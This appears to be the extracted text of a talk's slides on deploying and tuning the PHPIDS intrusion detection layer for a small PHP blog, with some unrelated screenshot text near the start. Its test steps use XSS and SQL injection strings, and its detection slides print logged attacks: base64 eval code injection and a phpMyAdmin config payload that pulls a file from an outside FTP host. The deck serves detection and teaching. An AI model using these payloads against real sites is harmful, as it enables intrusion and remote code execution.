Using PHPIDS to Understand Attacks Trends

@grecs
You thought your secrets were safe.
You were wrong.
The Ralph Macchio Homepage

You are Macchio Maniac #150,000 or so...my counter's busted to visit The Ralph Macchio Homepage since February 25, 1997

Thanks to Time Magazine for the feature this month! It has motivated me to finally do some updates. You can see the article here.

Welcome to The Ralph Macchio Homepage. This man has dedicated his life to providing millions of moviegoers with countless hours of entertainment. While it is, of course, impossible to recount every instance of Ralph's greatness and all of his contributions, this page will serve as as a wholehearted tribute to the greatest actor of the 20th century.
HOME PAGE, DOMAIN NAME, HOSTING, WEB PAGE DESIGNING FOR THE INTERNET

LET US HOST, DESIGN AND CREATE YOUR OWN WEB SITE FOR YOUR BUSINESS AND LET THE WORLD KNOW WHAT YOU ARE SELLING OR SERVICING AND WE WILL CREATE AND DESIGN YOUR HOME PAGE AND ADDITIONAL WEB PAGES ACCORDING TO YOUR REQUIREMENTS. OUR PAGES ARE DESIGNED USING NETSCAPE COMPOSER WHICH IS EASY FOR YOU TO MAKE ANY CHANGES.

$$$ YOU CAN HAVE YOUR LIVE BUSINESS SITE ON THE INTERNET WITHIN 3-7 DAYS FROM DATE OF SUBMISSION AND INCREASE YOUR INCOME. WE HAVE WEB DESIGNERS WHO ARE EXPERTS IN THE FIELD AND CAN DESIGN ANY WEB SITE DESIGN REQUESTED.

WE PROVIDE THE FOLLOWING DESIGN SERVICES WITH TEXT, PHOTOS, IMAGES & ANIMATION

<table>
<thead>
<tr>
<th>HOME PAGE WITH TEXT, PHOTOS, AND IMAGES AND ADDITIONAL PAGES LISTED BELOW</th>
</tr>
</thead>
<tbody>
<tr>
<td>PRODUCTS SOLD OR OFFERED</td>
</tr>
<tr>
<td>SERVICES RENDERED</td>
</tr>
<tr>
<td>PRICE LISTS OF PRODUCTS OR SERVICES</td>
</tr>
<tr>
<td>CONTACT FORMS</td>
</tr>
</tbody>
</table>

◆ SITE REGISTRATION

WE WILL CARRY OUT THE FOLLOWING FOR THE SERVICES ORDERED:-
<table>
<thead>
<tr>
<th>OFFICIAL LAUNCH</th>
<th>NEW OWASP TECHNICAL COMMITTEE</th>
</tr>
</thead>
<tbody>
<tr>
<td>We are extremely pleased to finally officially launch OWASP, the &quot;Open Web Application Security Project&quot;. For those that have been following the site and mailing list for the last 8 weeks you'll be a part of the 250,000 web hits, and this will be nothing new; but given our new technical committee it made sense to re-launch the efforts with some basic work already done.</td>
<td></td>
</tr>
<tr>
<td>The Technical Committee is made up of renowned application security experts who ensure that the work and ideas produced by the project are technically sound. These people have a wealth of experience and knowledge and will be guiding much of the direction of the work in various areas. As well as participating on the mailing list the technical committee has a monthly conference call to discuss progress. They are the OWASP technical think tank!</td>
<td></td>
</tr>
</tbody>
</table>

**Attack Components** - The Application Security Attack Components project was started as an attempt to create common language and definitions for which much of the other work planned at OWASP can later benefit. When describing security issues in web applications or when attempting to model security it is very easy to describe the same issue in many different ways, seemingly creating new problems. When analyzing problems described on Bugtraq it is evident that most problems are variants of common issues, but applied to different applications or systems using different parameters or targets. The aim is definitely not to build the biggest list of problems or describe attacks like Nimda or Code Red; but to document the underlying primary attack.

**Elias Levy**  
- probably best known as the long-time moderator of Bugtraq at [securityfocus.com](http://securityfocus.com) and author of "Smashing the Stack for Fun and Profit"

**Chris Wysopal**  
- formerly with the L0pht and heads up the @Stake Application Security Center of Excellence.

**John Viega**  
- wrote the book on "Building Secure Software" and is author of RATS (Rough Auditing Tool for Security) as well as hundreds of articles and several other books. John is the CTO of [Secure Software](http://www.securesoftware.com).

**Greg Hoglund**  
- well known for his work on buffer overflows and his Black Hat presentations, as well a respected developer of security and fault injection.
US PATENT AND TRADEMARK OFFICE

New on the PTO site:

- Biography of Q. Todd Dickinson, Acting Assistant Secretary of Commerce and Acting Commissioner of Patents and Trademarks (14Jan99)

- Job Fair, Arlington VA, Feb. 5-6 (13Jan99)

- Public Comments on "Changes to Implement the Patent Business Goals (October 27, 1998)" (13Jan99)

- Top 10 Patenting Organizations for 1998 (12Jan99)

- Public Comments on Expansion of Searchable Database Offerings (7Jan99)

- Solicitation of Applications for Membership on Public Advisory Committee for Trademark Affairs (7Jan99)

- RFC: Official Insignia of Native American Tribes: Statutorily Required Study (4Jan99)


- Cassis Currents Optical Disk Publishing Newsletter No. 2 (21Dec98)

- PTO Red Book Definition for Patent Mark-up in SGML (18Dec98)
Infosec Career Start - WebAppSec

• Around 2002
• Sooo Much Simpler
  – No CSRF, Click-Jacking, ... SQLi
  – No SOAP
  – No AJAX
  – No HTML5
• Had Our Problems
  – Browser Wars Still Going On
  – Per Browser Customizations
  – No Guidance
  – Limited Security Libraries
  – Immature Tools
FISMA Certification & Accreditation

INITIATION PHASE
- Preparation
- Notification and Resource Identification
- System Security Plan Analysis, Update, and Acceptance

SECURITY CERTIFICATION PHASE
- Security Control Assessment
- Security Certification Documentation

SECURITY ACCREDITATION PHASE
- Security Accreditation Decision
- Security Accreditation Documentation

CONTINUOUS MONITORING PHASE
- Configuration Management and Control
- Security Control Monitoring
- Status Reporting and Documentation
System Shutdown

This system is shutting down. All unsaved work in progress and local changes will be lost. The shutdown was initiated by NT AUTHORITY.

Time before shutdown:

Message

Windows must now re-load all system files. Remote Procedure Call terminated unexpectedly.

Storm Worm Alert!

Online Banking Login

ZEU5!
## MCU vs. Antifuse FPGA Trade Study V1.0

<table>
<thead>
<tr>
<th>Criteria</th>
<th>Weight (%)</th>
<th>Microcontroller</th>
<th>Grade</th>
<th>Antifuse FPGA</th>
<th>Grade</th>
</tr>
</thead>
<tbody>
<tr>
<td>Radiation Tolerance</td>
<td>30%</td>
<td>Logical</td>
<td>2</td>
<td>Physical (rad hard by design)</td>
<td>5</td>
</tr>
<tr>
<td>Programming Language</td>
<td>20%</td>
<td>C</td>
<td>4</td>
<td>VHDL or Verilog</td>
<td>2</td>
</tr>
<tr>
<td>Power consumption</td>
<td>15%</td>
<td>16.5 mW</td>
<td>4</td>
<td>&lt;16.5 mW</td>
<td>5</td>
</tr>
<tr>
<td>Cost per unit</td>
<td>10%</td>
<td>$15.05</td>
<td>4</td>
<td>$30</td>
<td>2</td>
</tr>
<tr>
<td>Initial Cost</td>
<td>5%</td>
<td>$0.00</td>
<td>5</td>
<td>$500</td>
<td>2</td>
</tr>
<tr>
<td>In Flight Programmable</td>
<td>5%</td>
<td>Yes</td>
<td>5</td>
<td>No</td>
<td>1</td>
</tr>
<tr>
<td>CubeSat Legacy</td>
<td>15%</td>
<td>Extensive</td>
<td>3</td>
<td>Unknown</td>
<td>1</td>
</tr>
</tbody>
</table>

| Average Score             | 3.8571     |                 |       | 2.57143                        |       |
| Weighted Score            | 3.35       |                 |       | 3.15                           |       |

Infosec COTS
Weekly Rewind – Top Industry News, Infosec Schools, 20 CSCs, Cybersec Awareness, & More

October 8, 2011

By grecs

Here’s another edition of the Weekly Rewind, where we post out a quick summary of industry articles you seemed to like as well as our stories from the past week. If you missed anything or happened to be offline, we hope you find this post useful as a reference. Industry Articles Steve Jobs: How...

Read more »
Agenda

• Introduction
• Why Use PHPIDS?
• What Is PHPIDS?
• Installation
• Maintenance & Operations
• Performance Issues
• Bypassing
• Detection Trends
• Use Within Other Tools
• Conclusion
Introduction

• Understand What People Could Be Hitting Site With
• Not Many Security Log Parsing Scripts
• Just Look Through & Look for “Things”
  – Only GET-Based Attacks Recorded
• Possible Tools for Monitoring
  – Simple Log Watcher (SWATCH)
  – PHPIDS
• PHPIDS
  – Open Source
  – Awesome Software
  – Little Documentation for Lay Tech Person Like Myself
  – Took Few Hours to Figure Out Ins & Outs (many more later to tweak, maintain, & really understand it)
  – Wanted to Document for Others to Use
Why Use PHPIDS?

• Mom & Pop Self-Hosted Blog
• $10/mo Shared Hosting Plan
• Limited Web Server Access/Control
  – Nothing at Network Level
    • NIDS (e.g., Snort)
  – Nothing at OS Level
  – Nothing at Web Server Level
    • WAF (e.g., modSecurity)
  – Limited at PHP Level
    • No Configs Control (php.ini)
    • Full Control of PHP Written Code
• Forget Big Vendor $50K Software or Hardware Appliance
What Is PHPIDS?

• Definition
• Architecture
• Operational Flow
• Detection Mechanisms
What Is PHPIDS?

Definition

PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to. Based on a set of approved and heavily tested filter rules any attack is given a numerical impact rating which makes it easy to decide what kind of action should follow the hacking attempt. This could range from simple logging to sending out an emergency mail to the development team, displaying a warning message for the attacker or even ending the user’s session.

PHPIDS enables you to see who’s attacking your site and how and all without the tedious trawling of logfiles or searching hacker forums for your domain. Last but not least it’s licensed under the LGPL!
What Is PHPIDS? - Architecture
What Is PHPIDS? – Operational Flow
What Is PHPIDS?
Detection Mechanisms

• Anti-Evasion Normalizations
  – Converter.php

• Signatures
  – default_filter.xml

• Centrifuge
  – Incoming Strings > 25 Characters
  – Ratio = Count of Word Characters, Spaces, Punctuation / Non-Word Characters
  – Lower the Ratio ~ Greater Probability of Attack
  – Normal = 7.5; Attack Trigger < 3.5
Installation

- Install Code
- Create Reference File
- Include Reference File
- Verify Working
- Prepare for Production
Installation
Install Code

- Web Host
  - No Access to Recommended /var/lib Directory
  - Create “applications” Folder Off User’s Home Directory
  - Could Put in WWW Directory If Don’t Use DB Logging
  - Most Recommend Keeping Out of Web Root

- Upload & Unzip into Directory Outside of Web Root
  - ./applications/phpids-0.7
  - Keep Version Numbers for Easy Upgrades/Reverts
Installation

Create Reference File

• Create `phpids.php` File in Website’s Root

• Base on “`phpids-0.7/docs/examples/example.php`”

• Change Path References to PHPIDS Installation
  – Just Three Lines

• Verify Permissions to 644
First Change

// set the include path properly for PHPIDS
...
. ‘/home/[user]/applications/phpids-x.x/lib’

Second Change

/*
* It’s pretty easy to get the PHPIDS running
* 1. Define what to scan
...
$init = IDS_Init::init(‘/home/[user]/applications/phpids-x.x/lib/IDS/Config/Config.ini.php’);

Third Change

/**
* You can also reset the whole configuration
* array or merge in own data
...
$init->config['General']['base_path'] = ‘/home/[user]/applications/phpids-x.x/lib/IDS/’;
Installation
Include Reference File

• Include phpids.php in Template Files
• After Header Call
  – header.php
• <?php include ‘phpids.php’; ?>
Installation

Other Tweaks

• Email Detections
  – recipients[] = [email here]

• Exceptions
Installation
Verify Working

No attack detected - click for an example attack 😝

Latest Story

AppSecDC Recap
New Tricks
April 4, 2012
By grecs

UPCOMING EVENTS
- April 2, 2012
  OWASP AppSecDC Conference
  Washington, DC
- April 6, 2012
  2600 Arlington Meetup
Installation
Verify Working

http://www.novainfosecportal.com/?test="<script>eval(window.name)</script>"
Installation
Verify Working

http://www.novainfosecportal.com/?test="aaa" or 1=1;

Legend
CSRF: Cross-Site Request Forgery
DT: Dir Traversal
ID: Info Disclosre
LFI: Loc File Inclu
RFE: Remote File Exe
SQLI: SQL Inject
XSS: Cross-Site Script
Installation
Verify Working

• Verify Logged

“a.b.c.d",2012-04-05T19:20:03+00:00,26,"sqli id lfi","REQUEST.test%3D%255C%2522aaa%255C%2522%2520or%25201%253D1%253B+GET.test%2522aaa%2522%2520or%25201%253D1%253B","%2F%3Ftest%3D%2522aaa%2522%2520or%25201%3D1%3B","e.f.h.i"

REQUEST="aaa" or 1=1;
Installation
Verify Working

• Additional Examples To Try
  – ?test='%20OR%201=1--'
  – ?test=''>XXX
Installation
Prepare for Production

• Cleanup `phpids.php`
• Comment Out
  – Initial Echo
  – Commands that Show It Detected an Attack
• Optional
  – Remove All Folders in PHPIDS Directory Except for “./phpids-0.7/lib/IDS”
• Final Test
  – Previous Slides
Installation
Prepare for Production

... /* echo $result; */
...
/* require_once ‘IDS/Log/Database.php’; */
...
/* IDS_Log_Database::getInstance($init) */
...
} /* else {
  echo ‘<a href=”?test=%22><script>eval(window.name)</script>”>No attack detected – click for an example attack</a>’;
} */
...
Maintenance & Operations

• Calibrating Installation
• Updating Signatures
• Keeping Attackers Away
• Adding Thresholds
Maintenance & Ops
Calibrating Installation

• Lots of Google Analytics Cookie False Positives

“x.x.x.x,yyyy-mm-ddT19:31:03-05:00,12,”xss csrf id rfe lfi”,”COOKIE. (__utmx=123456789.1234567890.1.1.utmcsrc %3Dgoogle%7Cutmccn%3D%28organic%29%7Cutmcmdl %3Dorganic%7Cutmctrl%3DNOVA%20cyber%20defense”,”%2F2009%2F10%2F16%2Fin-focus-advertise-with-us%2F”,”xx.x.xxx.xxx”

  – Add Exceptions to Config
  – Comes with Two Related Amazon Exceptions ~ GET
  – Add New Under Two Default Exceptions
    • exceptions[] = COOKIE. __utmx
Maintenance & Operations
Calibrating Installation

• Lived with For Awhile But
• Still Lots of False Positives
  – Get Feel for What Install Pickings Up
  – Slowly Tweak Exceptions to Meet Needs
• ColdFusion Cookies Plaguing Me?
  – exceptions[] = COOKIE.CFGLOBALS
• Others Google Analytics?
  – GET, POST, REQUEST, & COOKIE Methods
  – .utmpz and .utmcc
• Exception for All COOKIE Methods?
• Recommend Using Minimum Necessary
Maintenance & Ops
Updating Signatures

- Signature Based → Keep Up to Date
- Download from PHPIDS.org & Overwrite
  - default_filter.xml
  - Converter.php
- Every 2 or 3 Months
- Upgrading PHPIDS Software
  - Install in Peer Folder
    - phpids-0.8
  - Point phpids.php Paths to New Version
Maintenance & Ops
Keeping Attackers Away

• Simple Impact Threshold Blocking
• `phpids.php`
  – if (!$result->isEmpty()) {}
  – if (!$result->isEmpty())
    {die('<h1>Go away!</h1>');}

• Risk Turning FPs Away
• Set Threshold for “die” Statement
  – if ($result->getImpact() >= 50) {
    die('<h1>Go away!</h1>'); }
Maintenance & Operations

Adding Thresholds

• Only Alert by Email If Impact above Certain Level

• Suggested
  – Logging to File  >= 10
  – Logging to DB  >= 25
  – Report by Email >= 50
  – Stop Loading Page >= 100 (die($msg))

• CakePHP Example Provides Relatively Complex Code for Thresholding for IDS Reactions
Maintenance & Ops
Adding Thresholds

• phpids.php
  – From: if (!$result->isEmpty()) {} 
  – Replaced Below to Be Conditional
    • “$compositeLog->addLogger(IDS_Log_Email::getInstance($init) .. <stuff I commented out> ..);”
  • if ($result->getImpact() >= 25) { <the above compositeLog code> }
Performance Issues

• Lots of Contention
• Some Say No Effect
• Others Say Big Effect
• IronGeek Used but Removed
Performance Issues

• Developer Profiled CakePHP 1.1 in 3/2008
• Xdebug Profiler Output in KCachegrind
Performance Issues

- Pingdom.com
  - Website Uptime & Performance Monitoring
  - Response Time

10 Sites Globally
1145 ms
Performance Issues

• Pingdom.com

4 Sites US 845 ms
Interesting Detections

- IP: a.b.c.d
  Date: 2012-01-31 Impact: 92
  Affected tags: xss csrf id rfe sqli lfi
  Affected parameters:
  REQUEST.char_repl=%5C%27%7B%24%7Bdie%28eval%28base64_decode%28%24_POST%5BJUNGLIEZ%5D%29%29%29%7D%7D%5C%27%3D%3E,
  POST.char_repl=%5C%27%7B%24%7Bdie%28eval%28base64_decode%28%24_POST%5BJUNGLIEZ%5D%29%29%29%7D%7D%5C%27%3D%3E,
  Request URI: /vbseocp.php

- \'{${die(eval(base64_decode($_POST[JUNGLIEZ]))})}'=>,
  POST.char_repl=\'{${die(eval(base64_decode($_POST[JUNGLIEZ]))})}'}=>
Interesting Detections

- IP: a.b.c.d
  Date: 2012-01-24 Impact: 44
  Affected tags: xss csrf id rfe sqli lfi
  Affected parameters:
  REQUEST.configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%5C%22PMA_Config%5C%22%3A1%3A%7Bs%3A6%3A%5C%22source%5C%22%3Bs%3A48%3A%5C%22ftp%3A%2F%2Fu966867539%3A240790%4031.170.163.212%2F.a%2Fid.txt%5C%22%3B%7D%7D,
  POST.configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%5C%22PMA_Config%5C%22%3A1%3A%7Bs%3A6%3A%5C%22source%5C%22%3Bs%3A48%3A%5C%22ftp%3A%2F%2Fu966867539%3A240790%4031.170.163.212%2F.a%2Fid.txt%5C%22%3B%7D%7D,
  Request URL: /pma/scripts/setup.php

```xml
• a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:48:"ftp://u966867539:240790@31.170.163.212/.a/id.txt";}}
  POST.configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:48:"ftp://u966867539:240790@31.170.163.212/.a/id.txt";}}
```
Interesting Detections

• IP: a.b.c.d
  Date: 2012-01-22 Impact: 26
  Affected tags: sqli id lfi xss csrf rfe
  Affected parameters:
  REQUEST.author_name=%5Bphp%5Decho%28%5C%27Origins%5C%27.php_uname%28%5C%27scanner%5C%27%3Bdie%28%5C%27%3B%5B%2Fphp%5D,
  POST.author_name=%5Bphp%5Decho%28%5C%27Origins%5C%27.php_uname%28%5C%27scanner%5C%27%3Bdie%28%5C%27%3B%5B%2Fphp%5D,
  Request URI: /email.php

• [php]echo('Origins\'.php_uname()\'.scanner\');die();[/php],
  POST.author_name=[php]echo('Origins\'.php_uname()\'.scanner\')
                   ;die();[/php],
Use within Other Tools

• PHPIDS Not Meant to Be Complete Tool
• Plumbing that Other Tools Can Include to Perform More Advanced Analysis/Capabilities
  – Shunning IP Addresses for Period of Time.
• WordPress
  – WPIDS – Abandoned?
  – Mute Screamer
• Others
  – ModSecurity (uses default filter rules)
  – Drupal Module
  – Mediawiki Extension
  – ZIDS (Zend framework)
  – px_phpids (Typo3)
  – Dotnetids (ASP.NET apps)
References

• Intrusion Detection For PHP Applications With PHPIDS
• Getting Started with the PHPIDS Intrusion Detection System
• PHPIDS FAQ
  – http://php-ids.org/faq/
• http://forum.cmsmadesimple.org/index.php?topic=12884.msg173160
• PHPIDS Install Notes
• PHPIDS - Monitoring attack surface activity
  – https://docs.google.com/Doc?id=dd7x5smw_17g9cnx2cn&pli=1
• Wikipedia
• PHPIDS Forum
Conclusion

- Security Layer for PHP Web Application Where Attacks Detected & Given Numerical Impact Rating
- Fits Mom & Pop Scenario
  - Normal Enterprise this Would Never Do
  - Part of Layered Defense
    - Keep PHP Application Patched/Up to Date
    - PHPIDS
- Easy Installation & Maintenance
- Need to Refine Over Time
- Customize with Exceptions/Alert Thresholds
- Detection Trends
- CMS Plugins that Provide Advanced Functionality to “Plumbing”
Contact Info

• Twitter @grecs
• Website NovaInfosecPortal.com
• Contact http://bit.ly/nispcontact
Questions?